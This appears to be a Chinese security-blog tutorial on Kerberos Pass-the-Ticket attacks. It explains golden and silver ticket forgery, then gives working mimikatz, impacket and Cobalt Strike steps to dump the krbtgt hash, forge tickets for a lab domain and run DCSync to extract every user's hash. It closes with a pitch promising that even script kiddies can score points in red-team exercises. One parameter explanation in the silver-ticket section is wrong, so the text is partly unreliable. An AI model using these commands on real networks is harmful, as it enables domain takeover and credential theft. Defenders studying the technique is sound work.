域渗透是实战攻防中不可缺少的一部分,今天介绍一下PTT(票据传递,基于Kerberos认证)。
一、PTT介绍
-
PTT(Pass The Ticket)是一种基于Kerberos认证机制的攻击方式,攻击者通过伪造或窃取合法的Kerberos票据(Ticket),绕过正常的认证流程,从而以高权限访问目标系统或服务。 -
PTT攻击的核心是伪造或窃取合法的Kerberos票据,绕过Kerberos认证流程。 -
PTT攻击通常用于已经获得部分域权限后,用来维持或提升权限。 -
PTT攻击主要分为两种形式: -
利用目标服务的密钥伪造高权限的ST(Service Ticket),从而访问特定服务。 -
前提:攻击者需要获取目标服务账户的NTLM哈希或AES密钥(如CIFS、LDAP服务的计算机账户)。 -
作用:利用域内 krbtgt
用户的密钥伪造高权限的TGT(Ticket Granting Ticket),从而访问任何服务。 -
前提:攻击者需要获取域内 krbtgt
用户的NTLM哈希或AES密钥。 -
黄金票据伪造 -
白银票据伪造
二、PTT原理
Kerberos认证机制简介
-
Kerberos是一种网络认证协议,用于在不安全的网络中验证用户和服务的身份。 -
核心流程如下: -
AS-REQ/AS-REP:用户向KDC(Key Distribution Center)请求TGT(Ticket Granting Ticket)。 -
TGS-REQ/TGS-REP:用户使用TGT向KDC请求访问特定服务的ST(Service Ticket)。 -
AP-REQ/AP-REP:用户使用ST访问目标服务。 -
Kerberos票据中包含用户身份信息(PAC,Privilege Attribute Certificate),并通过加密确保其完整性。
黄金票据攻击原理
-
Kerberos的AS-REP阶段中,TGT的加密部分(含PAC)由 krbtgt
密钥签名。 -
攻击者利用 krbtgt
密钥离线生成伪造的TGT,包含高权限的PAC(特权属性证书)。(伪造的TGT可以离线生成,无需与KDC通信。)
白银票据攻击原理
-
在TGS-REP阶段,ST(含PAC)的加密部分由服务账户密钥签名。 -
攻击者利用服务账户密钥生成伪造的ST(含PAC),直接发送至目标服务。 -
由于默认情况下PAC的 PAC_PRIVSVR_CHECKSUM
签名验证是可选的,并且默认不开启,所以攻击者就算无法伪造该签名,也能利用伪造的ST访问目标服务。 -
白银票据只能访问指定服务,但不会在KDC上留下通信日志。
总结
-
黄金票据攻击:利用 krbtgt
密钥伪造TGT,可以访问任何服务,但会在KDC上留下日志。 -
白银票据攻击:利用服务密钥伪造ST,只能访问指定服务,但不会在KDC上留下日志,只会在目标服务器上留下日志。
三、黄金票据攻击
信息收集
-
通过mimikatz抓取krbtgt用户的NTLM哈希和域管(伪造的对象)的SID
//在域机器上以管理员权限执行mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords full" "exit"//krbtgt用户的hash只有在DC上才能抓到,在非域控机器上执行,即使有域管权限,也无法抓取mimikatz.exe "privilege::debug" "lsadump::lsa /inject /name:krbtgt" "exit"
mimikatz
-
生成黄金票据并将票据导入到内存中
mimikatz.exe "kerberos::golden /user:administrator /domain:lazy.com /sid:S-1-5-21-556571820-777808179-3504138622-500 /krbtgt:6c70f5e1f8da25b972986320d25e0e93 /ptt" "exit"
-
导入成功后就可以执行高权限操作了(比如导出任意用户的Hash)
mimikatz.exe "lsadump::dcsync /domain:lazy.com /user:krbtgt" "exit"
impacket
-
通过tickerer生成黄金票据(伪造administrator)
ticketer.exe -domain-sid S-1-5-21-556571820-777808179-3504138622-500 -nthash 6c70f5e1f8da25b972986320d25e0e93 -domain lazy.com administrator
-
导入黄金票据到内存中
set KRB5CCNAME=administrator.ccache//列出票据klist//清除票据klist purge
-
通过secretsdump导出administrator用户的哈希
secretsdump.exe -k -no-pass [email protected] -dc-ip 10.10.1.228 -just-dc-user administrator
-
还可以使用impacket里的其它工具进行进一步利用
CS
-
选中目标会话,右键选中黄金票据
-
填写完相应的信息后点击Build
-
执行完后,会生成黄金票据并导入到内存中,此时就可以执行高权限的操作了
四、白银票据攻击
mimikatz
-
生成白银票据并将票据导入到内存中
mimikatz.exe "kerberos::golden /domain:lazy.com /sid:S-1-5-21-556571820-777808179-3504138622-500 /target:AD-server2016.lazy.com /rc4:6c70f5e1f8da25b972986320d25e0e93 /service:ldap /user:administrator /ptt" "exit"/rc4:提供krbtgt账户的NTLM哈希/service:指定服务类型,这里表明要伪造一个针对LDAP服务的票据/user:指定伪造票据的用户名为administrator
-
对域控的ldap服务进行白银票据攻击之后,此时就有权限导出域内任意用户哈希或者进行其它高权限操作了
mimikatz.exe "lsadump::dcsync /domain:lazy.com /user:krbtgt" "exit"
impacket
-
通过tickerer生成白银票据
ticketer.exe -domain-sid S-1-5-21-556571820-777808179-3504138622-500 -nthash 6c70f5e1f8da25b972986320d25e0e93 -spn cifs/AD-server2016.lazy.com -domain lazy.com administratorspn cifs/AD-server2016.lazy.com:指定服务主体名称(SPN),这里是cifs/AD-server2016.lazy.com,表示希望伪造一个针对CIFS(文件共享服务)的票据。
-
导入票据到内存中
set KRB5CCNAME=administrator.ccache
-
通过secretsdump导出administrator用户的哈希
secretsdump.exe -k -no-pass [email protected] -dc-ip 10.10.1.228 -just-dc-user administrator
-
还可以使用impacket里的其它工具进行进一步利用
CS
-
使用谢公子的插件
-
填写相应信息,然后点击开始
-
执行后会生成白银票据并且导入内存,执行成功后就可以执行高权限操作了
五、实战攻防
在海量攻击路径中学习实用的攻防套路、攻防Tips,我们的宗旨是让脚本小子也能打攻防,在HW中捞个1W+分。面对重保、HW、攻防演练等大型活动游刃有余。点击👇了解详情~
六、
原文始发于微信公众号(李白你好):PTT(票据传递,基于Kerberos认证)
原文始发于微信公众号(李白你好):PTT(票据传递,基于Kerberos认证)
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论